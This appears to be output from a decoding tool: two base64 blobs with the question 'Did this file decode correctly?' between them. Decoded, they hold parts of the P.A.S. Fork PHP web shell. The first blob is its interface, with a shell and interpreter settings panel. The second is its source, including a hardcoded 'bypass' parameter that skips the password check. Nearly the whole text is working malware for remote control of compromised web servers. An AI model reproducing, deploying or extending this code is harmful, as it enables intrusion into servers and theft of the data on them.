luIGluZm8nLCBvbkluZk1haW4sIG51bGwsIHthOidpJyx0OidtJ30pIj5NYWluPC9hPiAvIDxhIGhyZWY9IiMiY2xhc3M9Imxua0FjdCJvbmNsaWNrPSJyZXR1cm4gYWp4U25kKCdHZXQgcGhwIGluZm8nLCBvbkluZlBIUCwgbnVsbCwge2E6J2knLHQ6J3AnfSkiPlBIUDwvYT4gLyA8L2Rpdj48L2Rpdj4gPD9waHAgaW5mTWFpbihUUlVFKTs/PjwvZGl2Pjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJwYW5lbCJpZD0iZGl2RnRyIj48ZGl2PjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9jcjFmL1AuQS5TLi1Gb3JrLyJ0YXJnZXQ9ImJsYW5rIj5QLkEuUy4gRm9yayB2LiA8P3BocCBlY2hvIFZFUjs/PjwvYT48L2Rpdj48ZGl2IGlkPSJkaXZEdFRtInRpdGxlPSJTZXJ2ZXIgVGltZSI+PHNwYW4+PC9zcGFuPjwvZGl2PjxkaXY+PGEgaHJlZj0iIyJpZD0iYWN0TG9nInRpdGxlPSJNZXNzYWdlIGxvZyJvbmNsaWNrPSJyZXR1cm4gdWlTaHdNb2RhbCgnZGl2TG9nJykiPiYjeDI2QTA7PC9hPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9Im1vZGFsIm9ubW91c2Vkb3duPSJ1aUFjdHZNb2RhbChldmVudCkiaWQ9ImRpdlN0bmdzInRhYmluZGV4PSItMSI+PGRpdiBjbGFzcz0iZGl2Q250cmxzIj48c3BhbiBjbGFzcz0ic3BuVGl0bGUiPlNldHRpbmdzPC9zcGFuPjxhIGhyZWY9IiMiY2xhc3M9ImNudHJsInRpdGxlPSJDbG9zZSJvbmNsaWNrPSJyZXR1cm4gdWlDbHNNb2RhbCgnZGl2U3RuZ3MnKSI+JiN4MDBENzs8L2E+PC9kaXY+CTxsYWJlbCBjbGFzcz0ib3B0aW9uIj48aW5wdXQgb25jbGljaz0iQ09PS0lFID0gKHRoaXMuY2hlY2tlZCA/IDEgOiAwKSIgdHlwZT0iY2hlY2tib3giIGlkPSJjYkNPIi8+IFVzZSBjb29raWUgdG8gcmVxdWVzdDwvbGFiZWw+CTxsYWJlbCBjbGFzcz0ib3B0aW9uIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJjYlJSIi8+IFNraXAgcmVxdWVzdCBlbmNvZGluZzwvbGFiZWw+PGxhYmVsIHRpdGxlPSJSYXcgT3V0cHV0IG1vZGUgZm9yIGJpZyBmaWxlcy4mIzEwO1NraXAgcmVzcG9uc2UgZW5jb2RpbmcgKCdvYl8qJykuIiBjbGFzcz0ib3B0aW9uIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJjYlJPIi8+IFNraXAgcmVzcG9uc2UgZW5jb2Rpbmc8L2xhYmVsPjxsYWJlbCB0aXRsZT0iU2hvd24gaW4gRmlsZSBNYW5hZ2VyIiBjbGFzcz0ib3B0aW9uIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJjYlRNIi8+IDxiPmN0aW1lPC9iPiBpbnN0ZWFkIG9mIDxiPm10aW1lPC9iPjwvbGFiZWw+PGxhYmVsIGNsYXNzPSJvcHRpb24iPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9ImNiT0kiLz4gPGI+aWZyYW1lPC9iPiBpbnN0ZWFkIG9mIDxiPnhocjwvYj48L2xhYmVsPjxmb3JtIGlkPSJmcm1Dc3RFbnYib25zdWJtaXQ9InJldHVybiBmYWxzZSI+PGZpZWxkc2V0IGlkPSJmbGRFbnYiPjxsZWdlbmQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCJpZD0iZSIvPiBSdW4gaW4gY3VzdG9tIGVudmlyb25tZW50PC9sYWJlbD48L2xlZ2VuZD48bGFiZWw+RnVuY3Rpb246IDxzZWxlY3QgbmFtZT0iZiI+PC9zZWxlY3Q+PC9sYWJlbD48bGFiZWwgY2xhc3M9Im9wdGlvbiI+U2hlbGw6IDxpbnB1dCB0eXBlPSJ0ZXh0Im5hbWU9InMicGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gTklYPycvYmluL3NoJzonJzs/PiIvPjwvbGFiZWw+PGxhYmVsIGNsYXNzPSJvcHRpb24iPkludGVycHJldGVyOiA8aW5wdXQgdHlwZT0idGV4dCJuYW1lPSJpInZhbHVlPSI8P3BocCBpZihQSFBfVkVSU0lPTj49JzUuNCcpZWNobyBlc2NIVE1MKFBIUF9CSU5BUlkpOz8+Ii8+PC9sYWJlbD48bGFiZWwgY2xhc3M9Im9wdGlvbiI+PGlucHV0IHR5cGU9ImNoZWNrYm94Im5hbWU9Im4iLz4gLW4gJm5ic3A7Tm8gcGhwLmluaSBmaWxlIHdpbGwgYmUgdXNlZDwvbGFiZWw+PGxhYmVsIGNsYXNzPSJvcHRpb24iPjxpbnB1dCB0eXBlPSJjaGVja2JveCJuYW1lPSJjIi8+IC1DICZuYnNwO0RvIG5vdCBjaGRpciB0byB0aGUgc2NyaXB0J3MgZGlyZWN0b3J5PC9sYWJlbD48L2ZpZWxkc2V0PjwvZm9ybT48L2Rpdj48ZGl2IGNsYXNzPSJtb2RhbCJvbm1vdXNlZG93bj0idWlBY3R2TW9kYWwoZXZlbnQpImlkPSJkaXZMb2cidGFiaW5kZXg9Ii0xIj48ZGl2IGNsYXNzPSJkaXZDbnRybHMiPjxzcGFuIGNsYXNzPSJzcG5UaXRsZSI+TWVzc2FnZSBMb2c8L3NwYW4+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IkNsb3NlIm9uY2xpY2s9InJldHVybiB1aUNsc01vZGFsKCdkaXZMb2cnKSI+JiN4MDBENzs8L2E+PGEgaHJlZj0iIyJjbGFzcz0iY250cmwidGl0bGU9IlJlc2l6ZSJvbmNsaWNrPSJyZXR1cm4gdWlSc3ooJ2RpdkxvZycpIj4mI3gyOTIyOzwvYT48YSBocmVmPSIjImNsYXNzPSJjbnRybCJ0aXRsZT0iQ2xlYXIib25jbGljaz0icmV0dXJuIGNsbkxvZygpIj4mIzg4MDI7PC9hPjwvZGl2PjxkaXYgaWQ9ImRpdkxvZ0NudG4iPjwvZGl2PjwvZGl2PjxkaXYgaWQ9ImRpdk1zZ3MiY2xhc3M9ImRpdkNudHJscyI+PC9kaXY+PC9ib2R5Pgo8Pz1wYXJhbXNIYW5kbGVySlMoKT8+CjxzY3JpcHQ+Cjw/cGhwIGlmKCRHTE9CQUxTWydBQ0VDT05GJ11bJ1VSTCddKXsgPz4KZnVuY3Rpb24gYWNlRWRpdG9yUHJvY2VzcyhlbGVtZW50KXsKCglpZih0eXBlb2YgYWNlID09ICd1bmRlZmluZWQnKXsKCQl2YXIgYWNlU2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CgkJYWNlU2NyaXB0LnNyYyA9ICc8Pz0kR0xPQkFMU1snQUNFQ09ORiddWydVUkwnXT8+JzsKCQlkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGFjZVNjcmlwdCk7CgkJCgkJYWNlU2NyaXB0Lm9ubG9hZCA9IGZ1bmN0aW9uKCl7CgkJCWFjZUVkaXRvciA9IFtdOwoJCQlhY2VFZGl0b3JQcm9jZXNzKGVsZW1lbnQpOwoJCX0KCQkKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCXZhciBhY2VFZGl0b3JNb2RlcyA9IFsncGhwJywgJ3BlcmwnLCAncHl0aG9uJywgJ2dvbGFuZycsICdydWJ5JywgJ2phdmFzY3JpcHQnLCAnc2gnLCAncG93ZXJzaGVsbCcgLCAnc3FsJywgJ2FwYWNoZV9jb25mJywgJ25naW54JywgJ2x1YScsICdtYXJrZG93biddOwoJdmFyIGFjZUVkaXRvclRoZW1lcyA9IFsnZWNsaXBzZScsICdkcmVhbXdlYXZlcicsICdjcmltc29uX2VkaXRvcicsICdzcWxzZXJ2ZXInLCAnc29sYXJpemVkX2xpZ2h0JywgJ3hjb2RlJywgJ2thdHplbm1pbGNoJywgJ2Rhd24nLCAnaXBsYXN0aWMnLCAnbW9ub2thaScsICdhbWJpYW5jZScsICdjb2JhbHQnLCAnbm9yZF9kYXJrJ107Cgl2YXIgcGFyZW50Rm9ybSA9IGdldFBhcmVudEZvcm1PZihlbGVtZW50KTsKCXZhciBlSWQgPSBwYXJlbnRGb3JtLm5hbWUgPSAocGFyZW50Rm9ybS5uYW1lID8gcGFyZW50Rm9ybS5uYW1lIDogTWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc3Vic3RyaW5nKDIsIDE1KSk7Cgl2YXIgZmxleFJvdyA9IHBhcmVudEZvcm0uY2hpbGRyZW5bMl07Cgl2YXIgdGV4dEFyZWEgPSBwYXJlbnRGb3JtLmVsZW1lbnRzWzBdOwoJdmFyIHNhdmVCdXR0b24gPSBwYXJlbnRGb3JtLmVsZW1lbnRzWzRdOwoJdmFyIHJlbG9hZEJ1dHRvbiA9IHBhcmVudEZvcm0uY2hpbGRyZW5bMF0uY2hpbGRyZW5bM107Cgl2YXIgZWRpdG9yQnV0dG9uID0gcGFyZW50Rm9ybS5jaGlsZHJlblswXS5jaGlsZHJlbls0XTsKCXZhciBjbG9zZUJ1dHRvbiA9IHBhcmVudEZvcm0uY2hpbGRyZW5bMF0uY2hpbGRyZW5bMV07Cgl2YXIgYWNlRWRpdG9yRGl2ID0gcGFyZW50Rm9ybS5jaGlsZHJlbltlSWRdOwoJdmFyIGFjZUVkaXRvck1vZGVTZWxlY3QgPSBmbGV4Um93LmNoaWxkcmVuWzFdOwoJdmFyIGFjZUVkaXRvclRoZW1lU2VsZWN0ID0gZmxleFJvdy5jaGlsZHJlblsyXTsKCglpZihhY2VFZGl0b3JEaXYpewoJCXBhcmVudEZvcm0ucmVtb3ZlQ2hpbGQoYWNlRWRpdG9yRGl2KTsKCQlmbGV4Um93LnJlbW92ZUNoaWxkKGFjZUVkaXRvck1vZGVTZWxlY3QpOwoJCWZsZXhSb3cucmVtb3ZlQ2hpbGQoYWNlRWRpdG9yVGhlbWVTZWxlY3QpOwoJCXRleHRBcmVhLnZhbHVlID0gYWNlRWRpdG9yW2VJZF0uZ2V0VmFsdWUoKTsKCQl0ZXh0QXJlYS5zdHlsZS5kaXNwbGF5ID0gJ2lubGluZSc7CgkJc2F2ZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAnJyk7CgkJcmVsb2FkQnV0dG9uLnNldEF0dHJpYnV0ZSgnb25jb250ZXh0bWVudScsICcnKTsKCQlyZWxvYWRCdXR0b24uc2V0QXR0cmlidXRlKCd0aXRsZScsICcnKTsKCQljbG9zZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAncmV0dXJuIHVpRHN0ck1vZGFsKHRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlKScpOwoJCWNsZWFySW50ZXJ2YWwoYWNlRWRpdG9yW2VJZF1bJ3NldEludGVydmFsJ10pOwoJCWRlbGV0ZSBhY2VFZGl0b3JbZUlkXTsKCQkKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCXZhciB3cmFwTGluZXMgPSAnYWNlRWRpdG9yWyInICsgZUlkICsgJyJdLnNldE9wdGlvbigid3JhcCIsIChhY2VFZGl0b3JbIicgKyBlSWQgKyAnIl0uZ2V0T3B0aW9uKCJ3cmFwIikgPT0gImZyZWUiID8gIm9mZiIgOiAiZnJlZSIpKTsgcmV0dXJuIGZhbHNlOyc7Cgl2YXIgY2xpY2tOc2Nyb2xsID0gJ2FjZUVkaXRvclsiJyArIGVJZCArICciXVsicmVsb2FkQnV0dG9uIl0uY2xpY2soKTsgc2V0VGltZW91dCgiYWNlRWRpdG9yW2AnICsgZUlkICsgJ2BdLnNjcm9sbFRvUm93KE51bWJlci5NQVhfU0FGRV9JTlRFR0VSKSIsIDIwMCk7JzsKCQoJdmFyIGhvdEtleXMgPSBgCgkJaWYoZXZlbnQuY3RybEtleSl7CgkJCWlmKGV2ZW50LmtleUNvZGUgPT09IDgzKXsKCQkJCWdldFBhcmVudEZvcm1PZih0aGlzKS5lbGVtZW50c1s2XS5jbGljaygpOyByZXR1cm4gZmFsc2U7CgkJCX0KCQkJaWYoZXZlbnQua2V5Q29kZSA9PT0gNjkpewoJCQkJYCArIHdyYXBMaW5lcyArIGAKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCWA7Cgl2YXIgaG90S2V5c0hpbnQgPSBgQ3RybCArIFtLRVldOlxuXG5TIC0gU2F2ZVxuRSAtIExpbmUgd3JhcFxuTCAtIEdvIHRvIGxpbmVcblAgLSBHbyB0byBicmFja2V0XG5IIC0gRmluZCBhbmQgUmVwbGFjZVxuXG5TZWUgdGhlIEFjZUpTIHdpa2kgZm9yIG1vcmUuYDsKCgl2YXIgYWNlRWRpdG9yRGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CglhY2VFZGl0b3JEaXYuaWQgPSBlSWQ7CglhY2VFZGl0b3JEaXYuY29udGVudEVkaXRhYmxlID0gJ3RydWUnOwoJYWNlRWRpdG9yRGl2LnN0eWxlID0gJ2JvcmRlcjogMXB4IHNvbGlkICM3ZjdmN2Y7IGhlaWdodDogMTAwJTsgbWFyZ2luOiAycHg7JzsKCWFjZUVkaXRvckRpdi50ZXh0Q29udGVudCA9IHRleHRBcmVhLnZhbHVlOwoJYWNlRWRpdG9yRGl2LnNldEF0dHJpYnV0ZSgnb25rZXlkb3duJywgaG90S2V5cyk7CglwYXJlbnRGb3JtLmluc2VydEJlZm9yZShhY2VFZGl0b3JEaXYsIHBhcmVudEZvcm0uY2hpbGRyZW5bM10pOwoJcGFyZW50Rm9ybS5zZXRBdHRyaWJ1dGUoJ29ubW91c2Vkb3duJywgJ2lmKGV2ZW50LnNyY0VsZW1lbnQuY2xhc3NOYW1lICE9ICJhY2VfY29udGVudCIpIHVpQWN0dk1vZGFsKGV2ZW50KScpOwoJc2F2ZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAnZ2V0UGFyZW50Rm9ybU9mKHRoaXMpLmVsZW1lbnRzWzBdLnZhbHVlID0gYWNlRWRpdG9yW1wnJyArIGVJZCArICdcJ10uZ2V0VmFsdWUoKScpOwoJcmVsb2FkQnV0dG9uLnNldEF0dHJpYnV0ZSgnb25jb250ZXh0bWVudScsIGAKCQl2YXIgZSA9IGFjZUVkaXRvclsnYCArIGVJZCArIGAnXTsKCQl2YXIgcCA9IHByb21wdCgoZVsncmVsb2FkSW50ZXJ2YWwnXSA/ICdDdXJyZW50IHZhbHVlIGlzICcgKyBlWydyZWxvYWRJbnRlcnZhbCddICsgJy4gJyA6ICcnKSArICdTZXQgcmVsb2FkIGludGVydmFsIGluIHNlY29uZHM6IFxcblxcbicpOwoJCXZhciBzID0gTWF0aC5hYnMoTnVtYmVyKHApKTsKCgkJY2xlYXJJbnRlcnZhbChlWydzZXRJbnRlcnZhbCddKTsKCQkKCQlpZihzID4gMCl7CgkJCWVbJ3JlbG9hZEludGVydmFsJ10gPSBzOwoJCQllWydzZXRJbnRlcnZhbCddID0gc2V0SW50ZXJ2YWwoJ2AgKyBjbGlja05zY3JvbGwgKyBgJywgcyAqIDEwMDApOwoJCQl0aGlzLnRpdGxlID0gcyArICcgc2VjLic7CgkJCXRoaXMuc3R5bGUuY29sb3IgPSAncmVkJzsKCQl9CgkJZWxzZSBpZihlWydyZWxvYWRJbnRlcnZhbCddKXsKCQkJdGhpcy5zdHlsZS5jb2xvciA9IHRoaXMudGl0bGUgPSAnJzsKCQkJY2xlYXJJbnRlcnZhbChlWydzZXRJbnRlcnZhbCddKTsKCQkJZGVsZXRlIGVbJ3JlbG9hZEludGVydmFsJ107CgkJfQoJCWVsc2UgaWYocCA9PSBudWxsKXsKCQkJYCArIGNsaWNrTnNjcm9sbCArIGAKCQl9CgoJCXJldHVybiBmYWxzZTsKCWApOwoJZWRpdG9yQnV0dG9uLnRpdGxlID0gaG90S2V5c0hpbnQ7CgljbG9zZUJ1dHRvbi5zZXRBdHRyaWJ1dGUoJ29uY2xpY2snLCAnY2xlYXJJbnRlcnZhbChhY2VFZGl0b3JbXCcnICsgZUlkICsnXCddW1wnc2V0SW50ZXJ2YWxcJ10pOyBkZWxldGUgYWNlRWRpdG9yW1wnJyArIGVJZCArICdcJ107JyArIGNsb3NlQnV0dG9uLmdldEF0dHJpYnV0ZSgnb25jbGljaycpKTsKCgl0ZXh0QXJlYS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwoJaWYoIXRleHRBcmVhLnNldHRlclJlZGVmaW5lZCl7CgkgICAgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRleHRBcmVhLCAndmFsdWUnLCB7CgkJCXNldCh2YWx1ZSl7CgkJCQl0aGlzLnNldHRlclJlZGVmaW5lZCA9IHRydWU7CgkJCQlpZihhY2VFZGl0b3JbZUlkXSkKCQkJCQlhY2VFZGl0b3JbZUlkXS5zZXRWYWx1ZSh2YWx1ZSwgLTEpOwoJCQkJcmV0dXJuIE9iamVjdC5nZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3IoSFRNTFRleHRBcmVhRWxlbWVudC5wcm90b3R5cGUsICd2YWx1ZScpLnNldC5jYWxsKHRoaXMsIHZhbHVlKTsKCQkJfSwKCQkJZ2V0KCl7CgkJCQlyZXR1cm4gT2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcihIVE1MVGV4dEFyZWFFbGVtZW50LnByb3RvdHlwZSwgJ3ZhbHVlJykuZ2V0LmNhbGwodGhpcyk7CgkJCX0KCSAgICB9KTsKCX0KCglhY2VFZGl0b3JbZUlkXSA9IGFjZS5lZGl0KGVJZCk7CglhY2VFZGl0b3JbZUlkXS5zZXRGb250U2l6ZSgnMTRweCcpOwoJYWNlRWRpdG9yW2VJZF0uc2V0VGhlbWUoJ2FjZS90aGVtZS88Pz0kR0xPQkFMU1snQUNFQ09ORiddWydUSEVNRSddPz4nKTsKCWFjZUVkaXRvcltlSWRdLnNlc3Npb24uc2V0TW9kZSgnYWNlL21vZGUvPD89JEdMT0JBTFNbJ0FDRUNPTkYnXVsnTU9ERSddPz4nKTsKCWFjZUVkaXRvcltlSWRdLnNldE9wdGlvbignc2hvd1ByaW50TWFyZ2luJywgZmFsc2UpOwoJYWNlRWRpdG9yW2VJZF0uc2V0T3B0aW9uKCd3cmFwJywgdHJ1ZSk7CglhY2VFZGl0b3JbZUlkXS5zZXNzaW9uLnNldFVzZVdvcmtlcihmYWxzZSk7CglhY2VFZGl0b3JbZUlkXS5zZXRCZWhhdmlvdXJzRW5hYmxlZCh0cnVlKTsKCWFjZUVkaXRvcltlSWRdLnJlbG9hZEJ1dHRvbiA9IHJlbG9hZEJ1dHRvbjsKCQoJbmV3IFJlc2l6ZU9ic2VydmVyKChmdW5jdGlvbigpe2lmKGFjZUVkaXRvcltlSWRdKSBhY2VFZGl0b3JbZUlkXS5yZXNpemUoKX0pKS5vYnNlcnZlKHBhcmVudEZvcm0pOwoKCWFjZUVkaXRvclRoZW1lU2VsZWN0ID0gYnVpbGRTZWxlY3RGb3IoYWNlRWRpdG9yVGhlbWVzLCAnPD89JEdMT0JBTFNbJ0FDRUNPTkYnXVsnVEhFTUUnXT8+JywgJ2FjZUVkaXRvcltcJycgKyBlSWQgKyAnXCddLnNldFRoZW1lKFwnYWNlL3RoZW1lL1wnICsgdGhpcy52YWx1ZSk7Jyk7CglhY2VFZGl0b3JNb2RlU2VsZWN0ID0gYnVpbGRTZWxlY3RGb3IoYWNlRWRpdG9yTW9kZXMsICc8Pz0kR0xPQkFMU1snQUNFQ09ORiddWydNT0RFJ10/PicsICdhY2VFZGl0b3JbXCcnICsgZUlkICsgJ1wnXS5zZXNzaW9uLnNldE1vZGUoXCdhY2UvbW9kZS9cJyArIHRoaXMudmFsdWUpOycpOwoJYWNlRWRpdG9yTW9kZVNlbGVjdC5zZXRBdHRyaWJ1dGUoJ29uY29udGV4dG1lbnUnLCB3cmFwTGluZXMpOwoJYWNlRWRpdG9yTW9kZVNlbGVjdC50aXRsZSA9ICdSaWdodCBjbGljayB0byBjaGFuZ2UgbGluZSB3cmFwJzsKCQoJZmxleFJvdy5pbnNlcnRCZWZvcmUoYWNlRWRpdG9yTW9kZVNlbGVjdCwgZmxleFJvdy5jaGlsZHJlblsxXSk7CiAgICBmbGV4Um93Lmluc2VydEJlZm9yZShhY2VFZGl0b3JUaGVtZVNlbGVjdCwgZmxleFJvdy5jaGlsZHJlblsxXSk7Cn0KCmZ1bmN0aW9uIGJ1aWxkU2VsZWN0Rm9yKGFycmF5LCBzZWxlY3RlZCA9ICcnLCBvbkNoYW5nZSA9ICcnKXsKCXZhciBzZWxlY3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzZWxlY3QnKTsKCXNlbGVjdC5zZXRBdHRyaWJ1dGUoJ29uY2hhbmdlJywgb25DaGFuZ2UpOwoJYXJyYXkuZm9yRWFjaChmdW5jdGlvbihpdGVtKXsKCQl2YXIgb3B0aW9uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnb3B0aW9uJyk7CgkJb3B0aW9uLnZhbHVlID0gb3B0aW9uLnRleHRDb250ZW50ID0gaXRlbTsKCQlpZihpdGVtID09IHNlbGVjdGVkKSBvcHRpb24uc2VsZWN0ZWQgPSB0cnVlOwoJCXNlbGVjdC5hcHBlbmRDaGlsZChvcHRpb24pOwoJfSk7CgkKCXJldHVybiBzZWxlY3Q7Cn0KCmZ1bmN0aW9uIGluc2VydENvZGVFZGl0b3IoKXsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0bXBsRnJtRmlsZScpLmlubmVySFRNTCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0bXBsRnJtRmlsZScpLmlubmVySFRNTC5yZXBsYWNlKC88XC9hPjxcL2Rpdj4vZywnPC9hPiA8YSBocmVmPSIjIiBjbGFzcz0iY250cmwiIHRpdGxlPSJDb2RlIEVkaXRvciYjeDAwMGE7JiN4MDAwYTtBZnRlciBjbGlja2luZywgdGhlIEVYVEVSTkFMIEpTIGZpbGUgd2lsbCBiZSBsb2FkZWQ6JiN4MDAwYTsmI3gwMDBhOzw/PSRHTE9CQUxTWydBQ0VDT05GJ11bJ1VSTCddPz4iIG9uY2xpY2s9ImFjZUVkaXRvclByb2Nlc3ModGhpcyk7cmV0dXJuIGZhbHNlIj48c21hbGw+RTwvc21hbGw+PC9hPjw/PSgkR0xPQkFMU1snQUNFQ09ORiddWydERUZBVUxUJ10gPyAnPGltZy9zcmMvb25lcnJvcj0iYWNlRWRpdG9yUHJvY2Vzcyh0aGlzKSIvc3R5bGU9ImRpc3BsYXk6bm9uZTsiLz4nIDogJycpPz48L2Rpdj4nKTsKfQoKaW5zZXJ0Q29kZUVkaXRvcigpOwo8P3BocCB9ID8+CgpmdW5jdGlvbiBhZGRTb3J0VG9GTSgpewoJdmFyIGZtVGJsQ29scyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0YmxGaWxlcycpLmNoaWxkcmVuWzBdLmNoaWxkcmVuWzBdLmNoaWxkcmVuOwoJCglmb3IoaSA9IDA7IGkgPD0gZm1UYmxDb2xzLmxlbmd0aDsgaSsrKXsKCQlpZihmbVRibENvbHNbaV0gJiYgZm1UYmxDb2xzW2ldLnRleHRDb250ZW50KXsKCQkJdmFyIG5hbWUgPSBmbVRibENvbHNbaV0udGV4dENvbnRlbnQudG9Mb3dlckNhc2UoKTsKCQkJZm1UYmxDb2xzW2ldLnN0eWxlID0gZm1UYmxDb2xzW2ldLnN0eWxlICsgJzsgY3Vyc29yOiBwb2ludGVyOyc7CgkJCWZtVGJsQ29sc1tpXS50aXRsZSA9ICdTb3J0IGZpbGVzIGJ5ICcgKyBuYW1lOwoJCQlmbVRibENvbHNbaV0uc2V0QXR0cmlidXRlKCdvbmNsaWNrJywgJ3NvcnRGaWxlc0J5KCInICsgbmFtZSArICciKTsnKTsKCQl9Cgl9Cn0KCmZ1bmN0aW9uIHNvcnRGaWxlc0J5KG5hbWUpewoJdmFyIHNvcnRzID0geyduYW0nOiAnMScsJ2V4dCc6ICcyJywnc2l6JzogJzExJywnbW9kJzogJzEyJywncGVyJzogJzE0Jywnb3duJzogJzE1J307Cgl2YXIgc29ydCA9IHNvcnRzW25hbWUuc3Vic3RyKDAsIDMpXTsKCWlmKHNvcnQpewoJCWZtU29ydCA9IFsoc29ydCA9PSBmbVNvcnRbMV0gJiYgZm1Tb3J0WzBdICE9IC0xID8gLTEgOiAxKSwgc29ydF07CgkJZ29Ubyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZnJtRk0nKS5wLnZhbHVlKTsKCX0KfQoKYWRkU29ydFRvRk0oKTsKCndpbmRvdy5sb2NhdGlvbiA9ICcjPD89JEdMT0JBTFNbJ0RFRkFVTFRfVEFCJ10/Pic7IDw/PSgkR0xPQkFMU1snREVGQVVMVF9UQUInXSA9PSAndGFiRk0nID8gJ3dpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2dvVG8oIn4iKTt9KScgOiAnJyk/Pgo8L3NjcmlwdD4KPC9odG1sPgo8P3BocCAkb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyBvYl9zdGFydCgnb2JfZ3poYW5kbGVyJyk7IGV4aXQobWFrZU91dCgkb3V0KSk7CgovLyAxMjkwMjVmYi02ZWE3LTQwYmYtOWUyNC01MzA2MzkwZTYyYTU ?>

Did this file decode correctly?

Original Code

PD9waHAKJEdMT0JBTFNbJ0hBU0hUWVBFJ10gPSAnc2hhNTEyJzsKJEdMT0JBTFNbJ1BBU1NIQVNIJ10gPSAnMGM2MTcxNjdlNDY0NDcxYWZhMmQ2OTc2YWI1MjMyZjQwZTVlNjNmODA0YmM1M2NkZDBkY2RjYzQ1YzBlYTMwNmQ1ODk2MDU3YzAyZGY0ZTc3NDNkNWRiNTY1NTBjNWE3MzVmZTI2NjFmNjI3YjMzZmQzMzgxZWViODJiMDczZDEnOwokR0xPQkFMU1snU0VDSEVBRCddID0gJ1VTRVJfQUdFTlQnOwokR0xPQkFMU1snREVGQVVMVF9UQUInXSA9ICd0YWJJbmYnOwokR0xPQkFMU1snQ09PS0lFJ10gPSB0cnVlOwokR0xPQkFMU1snREFSSyddID0gZmFsc2U7CiRHTE9CQUxTWydSRU1PVEVfQUREUiddID0gdHJ1ZTsKJEdMT0JBTFNbJ0FDRUNPTkYnXSA9IGFycmF5KCdERUZBVUxUJyA9PiBmYWxzZSwgJ1RIRU1FJyA9PiAnY3JpbXNvbl9lZGl0b3InLCAnTU9ERScgPT4gJ3BocCcsICdVUkwnID0+ICdodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hY2UvMS4xNC4wL2FjZS5qcycpOwokR0xPQkFMU1snREVCVUcnXSA9IChpc3NldCgkR0xPQkFMU1snREVCVUcnXSkgPyAkR0xPQkFMU1snREVCVUcnXSA6IGZhbHNlKTsKCmZpbHRlckNsaWVudCgpOwpkZWNvZGVSZXF1ZXN0KCk7CmNoZWNrQXV0aCgpOwoKZnVuY3Rpb24gY2hlY2tBdXRoKCl7CiAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydieXBhc3MnXSkgJiYgJF9SRVFVRVNUWydieXBhc3MnXSA9PSAnNDc3MTgyNDg3MTI3NDc4ODcxMjc4NDc4MjE3ODQ3OCcpCiAgICAgICAgc2V0RW5jS2V5KCRHTE9CQUxTWydQQVNTSEFTSCddKTsKCWlmKCEkR0xPQkFMU1snUEFTU0hBU0gnXSkgcmV0dXJuIHNldEVuY0tleSgpOwoKCSRsb2dpbldpdGhQYXNzID0gKGlzc2V0KCRfUkVRVUVTVFsncGFzcyddKSAmJiBoYXNoKCRHTE9CQUxTWydIQVNIVFlQRSddLCAkX1JFUVVFU1RbJ3Bhc3MnXSkgPT09ICRHTE9CQUxTWydQQVNTSEFTSCddKTsKCSRlbmNLZXlXaXRoUGFzcyA9ICgkR0xPQkFMU1snRU5DS0VZJ10gPT09IGdlbkVuY0tleSgkR0xPQkFMU1snUEFTU0hBU0gnXSkpOwoKCWlmKCRsb2dpbldpdGhQYXNzKQoJCXNldEVuY0tleSgkR0xPQkFMU1snUEFTU0hBU0gnXSk7CgllbHNlaWYoJGVuY0tleVdpdGhQYXNzKQoJCXNldEVuY0tleSgpOwoJZWxzZQoJCWxvZ2luRm9ybU91dCgpOwp9CgpmdW5jdGlvbiBnZXRFbmNLZXkoKXsKCSRsZW4gPSAkR0xPQkFMU1snUFJFTEVOJ107CgkKCWZvcmVhY2goJF9SRVFVRVNUIGFzICRrID0+ICYkdil7CgkJJHByZWYgPSBzdHJyZXYoc3Vic3RyKCRrLCAwLCAkbGVuKSk7CgkJJHBvc3QgPSBzdWJzdHIoJGssICRsZW4sICRsZW4pOwoJCWlmKCRwcmVmID09PSAkcG9zdCl7CgkJCSRlS2V5ID0gJHY7CgkJCXVuc2V0KCRfUkVRVUVTVFska10pOwoJCQkkR0xPQkFMU1snRU5DS0VZJ10gPSBiYXNlNjRfZGVjb2RlKCRlS2V5KTsKCQkJcmV0dXJuICRHTE9CQUxTWydFTkNLRVknXTsKCQl9Cgl9CgkKCXJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZ2VuRW5jS2V5KCRzdHIpewoJcmV0dXJuIGJhc2U2NF9lbmNvZGUoaGFzaCgkR0x